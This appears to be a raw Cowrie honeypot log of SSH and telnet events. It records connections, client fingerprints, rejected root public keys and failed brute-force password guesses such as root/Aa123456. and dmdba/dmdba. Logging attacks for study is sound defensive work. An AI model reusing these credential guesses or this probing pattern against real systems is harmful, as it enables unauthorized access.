{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:5f:5a:af:76:bb:74:fe:8c:75:42:a4:3d:b4:95:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAovDAyK07yZfWEC16IY8KEdw+1Na+Bsoau7gedbdISMIVU0/g8RerFDyVfOxGve+6GufXWSECq9XkzYaA9dsFrJYvdf5Y+mBfVCJhmWJX7ffIENK0WSV3ilSCYTwfZwN2yoR2nicHD55dJ2yBBi9iQ7pwW0+WnOcgwf0PHPEjIzPKNSS2u3xiezRuh3lSd6UznvG2VNfamnJ29c/4WeOpph/myMxFxFX5xiWw2fhSu5mpeXyFe9OMlQrwGjTdouZgGr8+ElIBCBTatQWDO9yvam2nW6VKm2bNDXabaiQou5tJ0WZDk+dJ7STXTTv5u7AI37b7wHrAHn+JfS4DyjTyWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:31.536540Z","src_ip":"176.65.131.189","session":"37e0644d1a4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:61:c4:01:23:9b:a0:f3:59:68:aa:b5:95:46:2a:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrrPNQOwoCY7g1iC1Tx4A6qMM0QRq8nu0CULIw/YdPihu9Pc7XeaT8WBUpOsnQ94AhTSIX2GgRBcdLSz33q90dT88POWy452R5nI1LfIVLenkg7rjn+6jpv8pMJtMQxv7kHA4dEk8mzy0iMqXLwYCBxs+5jhSe8gDOShWWZETwcGJ50cHwgdpA+mZ8NquLL3nmeRdJqlF7tnN0Y9suU7DxqPelwDFI9gdge49fFNgGjyfLubPNHU3WUgvG7CW//OBDxFTP9zmKWSQByPTk9I8lCNgPDBP8jxRcsTxi5qIlIkqXQWduXZ4/TrHt0kds0uUgtC/EQ86nnODrtoEkXt/1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:61:c4:01:23:9b:a0:f3:59:68:aa:b5:95:46:2a:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:31.624724Z","src_ip":"176.65.131.189","session":"37e0644d1a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:61:c4:01:23:9b:a0:f3:59:68:aa:b5:95:46:2a:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrrPNQOwoCY7g1iC1Tx4A6qMM0QRq8nu0CULIw/YdPihu9Pc7XeaT8WBUpOsnQ94AhTSIX2GgRBcdLSz33q90dT88POWy452R5nI1LfIVLenkg7rjn+6jpv8pMJtMQxv7kHA4dEk8mzy0iMqXLwYCBxs+5jhSe8gDOShWWZETwcGJ50cHwgdpA+mZ8NquLL3nmeRdJqlF7tnN0Y9suU7DxqPelwDFI9gdge49fFNgGjyfLubPNHU3WUgvG7CW//OBDxFTP9zmKWSQByPTk9I8lCNgPDBP8jxRcsTxi5qIlIkqXQWduXZ4/TrHt0kds0uUgtC/EQ86nnODrtoEkXt/1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:31.628262Z","src_ip":"176.65.131.189","session":"37e0644d1a4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:cc:d0:2e:15:4f:2f:17:42:b8:80:f8:39:c7:bc:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeOgp7KlxWcvkya/UqkXg+pBcQk5OlAwCaIdbTitnDNzN99gUQ8whNDKUFNyALr21DrIK4TyRSrwINnaqkwLjDcG+JzavKtkLAf27Dzk0q79iCEz1H//FG/lwy4XZXZbwnsK0nRq/JqS1gLJ7ro/OTxU9DtG5E4WrhsMRduIsIP7kzbretR9nI8SJ3NDaTsyvTlPzkZm6nF0d51F1tnHdyMDCeesKD8Rgnkt4Fh+W6rpV/yJb7al2GM+bVWuDgRQcYVeZA/iV5Bb5bGRpnpdgP8DlqsJKeyI7vNSb5cwG1QBooSq6BCVnZ/whumcJz4gI1Bxmwu7znJspruUT3kdPt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:cc:d0:2e:15:4f:2f:17:42:b8:80:f8:39:c7:bc:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:31.716422Z","src_ip":"176.65.131.189","session":"37e0644d1a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:cc:d0:2e:15:4f:2f:17:42:b8:80:f8:39:c7:bc:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeOgp7KlxWcvkya/UqkXg+pBcQk5OlAwCaIdbTitnDNzN99gUQ8whNDKUFNyALr21DrIK4TyRSrwINnaqkwLjDcG+JzavKtkLAf27Dzk0q79iCEz1H//FG/lwy4XZXZbwnsK0nRq/JqS1gLJ7ro/OTxU9DtG5E4WrhsMRduIsIP7kzbretR9nI8SJ3NDaTsyvTlPzkZm6nF0d51F1tnHdyMDCeesKD8Rgnkt4Fh+W6rpV/yJb7al2GM+bVWuDgRQcYVeZA/iV5Bb5bGRpnpdgP8DlqsJKeyI7vNSb5cwG1QBooSq6BCVnZ/whumcJz4gI1Bxmwu7znJspruUT3kdPt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:31.720322Z","src_ip":"176.65.131.189","session":"37e0644d1a4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:f7:31:3d:c8:b3:59:05:09:a6:e8:9f:f2:71:14:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/9kX/S32inxrQaQneMkwpHPHO7PsuLy2WgUKSvDLlz1bgb94rd2Hm+Hdnz3zlJLF7y+rNhWxrjX8AjtP2Pt3F+9lSQwfULokgQ/dudefMqmkJHli848Qeaua7m7VlRGS5MOgyHrqy+05ZPRQ4NUmi68eNsNWEjSVRwQ6jK6KtVI6i4F1DUzKCGDgC7NU4O6d/ZGynZwT18+Ey6g+n0rYjez/qZwkD8wD7ZeNyR5zCJizaOqcXhb0rDswgtfqnC/43oJK+6Oggz2eKjhrGwspJVy4nAm+KAUefIC4QPZQ1ssyGy2JKkZ2S8XNNiEWprvzhk0nBeLonQaztURLQa/HF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:f7:31:3d:c8:b3:59:05:09:a6:e8:9f:f2:71:14:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:31.810493Z","src_ip":"176.65.131.189","session":"37e0644d1a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:f7:31:3d:c8:b3:59:05:09:a6:e8:9f:f2:71:14:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/9kX/S32inxrQaQneMkwpHPHO7PsuLy2WgUKSvDLlz1bgb94rd2Hm+Hdnz3zlJLF7y+rNhWxrjX8AjtP2Pt3F+9lSQwfULokgQ/dudefMqmkJHli848Qeaua7m7VlRGS5MOgyHrqy+05ZPRQ4NUmi68eNsNWEjSVRwQ6jK6KtVI6i4F1DUzKCGDgC7NU4O6d/ZGynZwT18+Ey6g+n0rYjez/qZwkD8wD7ZeNyR5zCJizaOqcXhb0rDswgtfqnC/43oJK+6Oggz2eKjhrGwspJVy4nAm+KAUefIC4QPZQ1ssyGy2JKkZ2S8XNNiEWprvzhk0nBeLonQaztURLQa/HF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:31.814170Z","src_ip":"176.65.131.189","session":"37e0644d1a4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:31.901504Z","src_ip":"176.65.131.189","session":"37e0644d1a4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":48228,"dst_ip":"159.203.135.109","dst_port":22,"session":"9488d94163e7","protocol":"ssh","message":"New connection: 172.237.20.62:48228 (159.203.135.109:22) [session: 9488d94163e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:31.931767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:31.935056Z","src_ip":"172.237.20.62","session":"9488d94163e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:32.092701Z","src_ip":"172.237.20.62","session":"9488d94163e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52758,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1fa35ffc5e1","protocol":"telnet","message":"New connection: 45.58.127.90:52758 (10.17.0.5:23) [session: e1fa35ffc5e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:32.164791Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40640,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f3bc6bf5dae","protocol":"ssh","message":"New connection: 176.65.132.129:40640 (159.203.135.109:22) [session: 7f3bc6bf5dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:32.229705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:32.233657Z","src_ip":"176.65.132.129","session":"7f3bc6bf5dae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:32.315359Z","src_ip":"176.65.132.129","session":"7f3bc6bf5dae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:32.564099Z","src_ip":"176.65.132.129","session":"7f3bc6bf5dae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:32.570200Z","src_ip":"172.237.20.62","session":"9488d94163e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:33.649299Z","src_ip":"176.65.132.129","session":"7f3bc6bf5dae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:33.730949Z","src_ip":"172.237.20.62","session":"9488d94163e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.3580524921417236,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:35.522697Z","src_ip":"45.58.127.90","session":"e1fa35ffc5e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40642,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f916372dce2","protocol":"ssh","message":"New connection: 176.65.132.129:40642 (159.203.135.109:22) [session: 1f916372dce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:35.581927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:35.587344Z","src_ip":"176.65.132.129","session":"1f916372dce2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:35.669586Z","src_ip":"176.65.132.129","session":"1f916372dce2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cowrie","password":"cowrie","message":"login attempt [cowrie/cowrie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:35.918144Z","src_ip":"176.65.132.129","session":"1f916372dce2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:37.003723Z","src_ip":"176.65.132.129","session":"1f916372dce2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52932,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fb1e7c6bf20","protocol":"ssh","message":"New connection: 176.65.132.129:52932 (159.203.135.109:22) [session: 7fb1e7c6bf20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:39.163880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:39.167175Z","src_ip":"176.65.132.129","session":"7fb1e7c6bf20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:39.248839Z","src_ip":"176.65.132.129","session":"7fb1e7c6bf20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:39.493940Z","src_ip":"176.65.132.129","session":"7fb1e7c6bf20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:40.579343Z","src_ip":"176.65.132.129","session":"7fb1e7c6bf20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52944,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab4c4aba0ccd","protocol":"ssh","message":"New connection: 176.65.132.129:52944 (159.203.135.109:22) [session: ab4c4aba0ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:42.539267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:42.543943Z","src_ip":"176.65.132.129","session":"ab4c4aba0ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:42.625255Z","src_ip":"176.65.132.129","session":"ab4c4aba0ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:42.871055Z","src_ip":"176.65.132.129","session":"ab4c4aba0ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38378,"dst_ip":"159.203.135.109","dst_port":22,"session":"52dfe49c1bb6","protocol":"ssh","message":"New connection: 172.237.20.62:38378 (159.203.135.109:22) [session: 52dfe49c1bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:42.905255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:42.909806Z","src_ip":"172.237.20.62","session":"52dfe49c1bb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:43.068525Z","src_ip":"172.237.20.62","session":"52dfe49c1bb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.3767306804657,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:43.205481Z","src_ip":"45.58.127.90","session":"66b63592fe7e","protocol":"telnet"}
